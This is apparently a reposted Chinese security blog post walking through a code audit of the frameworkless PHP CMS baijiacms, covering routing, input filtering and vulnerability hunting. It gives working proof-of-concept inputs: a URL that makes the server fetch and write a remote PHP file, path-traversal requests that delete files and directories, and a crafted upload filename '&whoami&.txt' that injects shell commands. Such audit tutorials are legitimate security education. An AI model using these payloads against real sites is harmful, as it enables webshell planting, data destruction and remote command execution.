PHP无框架代码审计

文摘   2024-03-27 14:11   广东  

    本文主要以baijiacms为例分享一些PHP无框架代码审计的思路

    0x00 审计环境

    phpstudy(php5.6.27+Apache+mysql)
    Windows10 64
    PHPStorm

    将源码放到WWW目录,访问/install.php安装即可

    0x01 目录结构

    开始审计前,先看一下目录结构,判断是否使用框架开发,常见的框架如Thinkphp、Laravel、Yii等都有比较明显的特征

    判断没有用框架,就先搞清楚目录结构、路由。主要关注以下几个方面:

    1)入口文件index.php:根目录下的index.php文件是一个程序的入口,通常会包含整个程序的运行流程、包含的文件,所以通读一下index.php文件有助于我们了解整个程序的运行逻辑

    2)安全过滤文件:安全过滤文件中会写函数对参数进行过滤,所以了解程序过滤的漏洞,对于我们进行漏洞利用至关重要。这类文件通常会在其他文件中包含,所以一般会在特定的目录,如上面的includes目录下。另外,找这类文件,也可以从其他文件包含的文件去看

    3)函数集文件:函数集文件中会写一些公共的函数,方便其他文件对该函数进行调用,所以这类文件也会在其他文件中进行包含。这类文件通常会存放在common或function等文件夹中

    1、入口文件index.php分析

    首先检查/config/install.link文件是否存在,如果不存在就重定向到install.php进行安装

    然后通过条件判断来确定 $mod 的值,然后跟进 $mod 的值定义SYSTEM_ACT常量

    接着根据是否传入参数do和act来确定参数的值

    在最后包含includes/baijiacms.php

    2、安全过滤分析

    跟进到includes/baijiacms.php查看,一开始定义一些常量

    随后发现该文件中定义了一个irequestsplite函数

    irequestsplite()函数主要是用htmlspecialchars()将预定义字符(&、<、>、"、')转换为HTML实体,防止XSS。92行对$_GP调用irequestsplite()处理,即对GET和POST传入的数据都进行处理

    3、路由分析

    路由信息可通过全局搜索route关键字,到写了路由配置的文件中查看

    如果在文件中没有找到,可以访问网站,查看url,结合url中的参数和文件目录及文件名进行理解

    在登录页面,可以看到四个参数mod、act、do、beid,这里主要关注前三个,将这三个变量接收的参数在网站目录的文件中寻找

    可以看到接收的值和标记的文件目录文件名一样,index.php调用了page,查看一下

    会调用/template/mobile/目录下的index.php文件

    确认是正确对应,act代表目录名,mod代表目录名,do代表文件名

    登录后台页面,查看url,site、manager、store三个参数

    继续看网站目录的文件,发现web目录不符合

    尝试修改mod值为web,发现可正常访问

    至此了解了网站路由,且所有接收参数都是system目录下的文件中,所以我们可以重点看该目录下的文件。

    0x02 代码审计

    审计代码可以从两个方向出发:

    • 从功能点进行审计,通过浏览网页,寻找可能存在漏洞的功能点,然后找到相对应的源码进行审计

    • 从代码方向进行审计,通过全局搜索危险函数,审计相关函数的参数是否可控,来审计是否存在漏洞

    1、sql注入审计

    主要注意执行sql语句的地方参数是否用户可控,是否使用了预编译

    可以全局搜索select等sql语句关键词,然后定位到具体的语句,然后查看里面有没有拼接的变量;也可以浏览网页,找具有查询功能的地方,定位到文件参数,审计是否存在漏洞

    浏览网页,发现搜索功能

    根据url定位到文件\system\manager\class\web\store.php,抓包发现接收参数为sname,搜索sname

    $_GP['sname']接收我们输入的参数并使用单引号包裹拼接到SQL语句中,只看这里很明显存在sql注入

    但是在前面看全局过滤的时候,知道对传参使用htmlspecialchars()函数进行处理,会将单引号转换成html实体,而此处需要单引号闭合,所以不存在sql注入

    2、文件上传/文件写入审计

    审计文件上传/写入漏洞,主要需要关注是否对文件类型、文件大小、上传路径、文件名等进行了限制。

    有的项目,会将文件上传下载功能封装到一个自定义函数中,所以可以全局搜索upliad、file的函数,看看是否有自定义的函数。

    也可以直接搜索move_uploaded_filefile_put_contents函数,判断参数是否可控。

    全局搜索move_uploaded_file,发现两处调用

    在excel.php中,检查文件后缀是否为xlsx,无法上传,看第二处common.inc.php文件

    file_move自定义函数中使用了move_uploaded_file函数,移动上传的文件,跟进file_move

    file_save函数中调用,继续跟进file_save,找到4处调用,逐个审计,发现只有一处对文件后缀没有限制

    fetch_net_file_upload函数中,通过 $url 获取文件名,存到 $extention ,然后经过拼接取得上传路径,利用file_put_content函数上传文件,然后调用file_save将上传的文件移动到新的位置

    该函数中没有对上传后缀、上传大小等做限制,很显然会存在文件上传。
    接着搜索哪里调用了fetch_net_file_upload,找到一处调用

    可以发现上传的数据通过url参数传入,传参方式为$_GPC,等同与$_GP

    所以可以通过url传入远程恶意文件地址,达到文件写入的目的

    漏洞验证

    根据文件路径构造url
    /index.php?mod=web&act=public&do=file&op=fetch&url=http://远程IP/info.php

    访问该路径,成功写入

    3、任意文件删除审计

    审计任意文件删除,需要注意是否存在../...\等跨目录的字符过滤,是否配置了路径等

    文件删除主要搜索unlinkrmdir函数,unlink 用于删除文件,rmdir用于删除文件夹

    任意文件删除一

    全局搜索unlink,在common.inc.php中写了一个file_delete函数中调用了unlink删除文件

    寻找file_delete调用的地方,看参数可控处审计

    /system/eshop/coe/mobie/util/uploader.php中,调用file_delete删除文件,且参数可控

    漏洞验证:

    在根目录下创建一个aaa.txt,构造url删除

    /index.php?mod=mobile&do=util&act=uploader&m=eshop&op=remove&file=../aaa.txt

    成功删除

    任意文件删除二

    common.inc.php中的rmdirs函数同样调用了unlink函数,并且发现还调用了rmdir函数

    首先用is_dir判断传入的参数是否是一个目录,如果是,并且不是/cache/目录,就调用rmdir删除目录;如果不是,则调用unink删除文件

    全局搜索rmdirs,在/system/manager/class/web/database.php找到一处调用

    通过id传入参数并base64解码,然后传入判断是一个目录,则调用rmdirs,这里限制了只能删除一个目录

    漏洞验证:

    在根目录创建一个test目录,构造url删除,将../../test进行base64编码传入id
    /index.php?mod=web&act=manager&do=database&op=delete&id=Li4vLi4vdGVzdA==

    成功删除

    4、命令执行审计

    命令执行可以全局搜索一切可以执行命令的函数,如exec、passthru、proc_open、shell_exec、system、pcntl_exec、popen等,审计参数是否可控

    全局搜索这些函数,找到在common.inc.php文件中存在一处file_save函数调用system()

    $settings['image_compress_openscale']非空的时候,就会调用system(),参数拼接的,其中$file_full_path是通过函数传入的第四个参数

    搜索image_compress_openscale的值

    可以看到是通过$_GP传入进行设置,发数据包设置为非空即可

    接下来寻找file_save函数调用的地方,主要关注第四个参数是否可控即可,在/system/weixin/class/web/setting.php中找到一处调用

    可以看到第四个参数是根目录路径加上$fie['name']

    $fie['name']来源于$_FILES['weixin_verify_file']为用户可控,构造文件名即可执行命令,后续会检查后缀是否为txt

    漏洞验证:

    定位到漏洞存在路径
    /index.php/?mod=web&act=weixin&do=setting

    上传文件抓包,修改文件名(因为前面会拼接路径,所以需要用&进行分割)
    filename="&whoami&.txt"

    0x03 总结

    这篇文章涉及到的漏洞并不多,但是其他的漏洞审计也是差不多,搜索可能产生漏洞的函数,检查过滤是否到位,参数是否可控等。

    文章来源:https://forum.butian.net/share/2670

    文章作者:Cl0wnkey



    赤弋安全团队
    渗透测试,代码审计,CTF ,红蓝对抗,SRC
     最新文章